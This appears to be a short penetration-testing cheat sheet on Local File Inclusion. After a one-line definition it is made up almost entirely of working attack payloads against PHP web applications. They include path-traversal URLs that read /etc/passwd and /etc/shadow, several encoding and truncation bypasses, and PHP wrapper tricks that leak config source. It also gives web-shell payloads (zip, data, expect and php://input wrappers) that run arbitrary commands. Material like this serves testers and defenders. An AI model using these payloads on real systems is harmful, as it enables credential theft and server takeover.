Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server
- Any endpoint that includes a file from a web server. For example,
/index.php?page=index.html
- Basic payload
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
- URL encoding
http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
- Double encoding
http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
- UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
- Using Null Byte (%00)
http://example.com/index.php?page=../../../etc/passwd%00
- From an existent folder
http://example.com/index.php?page=scripts/../../../../../etc/passwd
- Path truncation
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
- Using PHP Wrappers: filter
http://example.com/index.php?page=php://filter/read=string.rot13/resource=config.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
- Using PHP Wrappers: zlib
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
- Using PHP Wrappers: zip
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
- Using PHP Wrappers: data
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
- Using PHP Wrappers: expect
http://example.com/index.php?page=expect://ls
- Using PHP Wrappers: input
POST /index.php?page=php://input&cmd=ls HTTP/1.1
Host: example.com
...
<?php echo shell_exec($_GET['cmd']); ?>
- Some unique bypass
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/.%2e/.%2e/.%2e/.%2e/etc/passwd
http://example.com/index.php?page=/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd